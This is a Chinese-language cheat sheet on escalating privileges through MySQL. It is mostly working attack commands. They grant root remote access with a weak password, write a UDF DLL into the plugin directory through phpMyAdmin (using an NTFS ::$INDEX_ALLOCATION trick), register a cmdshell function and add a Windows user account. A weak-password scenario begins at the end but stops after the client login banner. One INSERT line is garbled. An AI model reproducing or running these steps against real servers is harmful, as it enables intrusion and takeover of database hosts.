Mysql提权总结

mysql默认状态下是不开放对外访问功能的

1、如何设置才能允许外网访问MySQL

使用“mysql -uroot -proot”命令可以连接到本地的mysql服务;

使用“use mysql”命令,选择要使用的数据库,修改远程连接的基本信息,保存在mysql数据库中,因此使用mysql数据库;

使用“GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;”命令可以更改远程连接的设置;

使用“flush privileges;”命令刷新刚才修改的权限,使其生效;

使用“select host,user from user;”查看修改是否成功

2、phpmyadmin 连入提权

select @@basedir;  //Mysql安装目录

C:/phpStudy/MySQL/

CREATE TABLE udftest(udf BLOB);

INSERT into udftest values (CONVERT(,CHAR));CONVERT(这里换成你的UDF的HEX编码,CHAR));

SELECT udf FROM udftest INTO DUMPFILE 'C:\\phpStudy\\MySQL\\lib\\plugin\\udf.dll';-- 

select 'It is dll' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; 

DROP TABLE udftest;

create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user xiaozi xiaozi /add');

3、mysql弱口令(反弹端口连接提权)

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

实验环境:phpStudy 默认安装的mysql数据库 5.5.40版本

C:\APMServ5\APMServ5.2.6\MySQL5.1\bin>mysql.exe -h 192.168.106.141 -u root -p
Enter password: ****
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 11
Server version: 5.5.40 MySQL Community Server (GPL)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
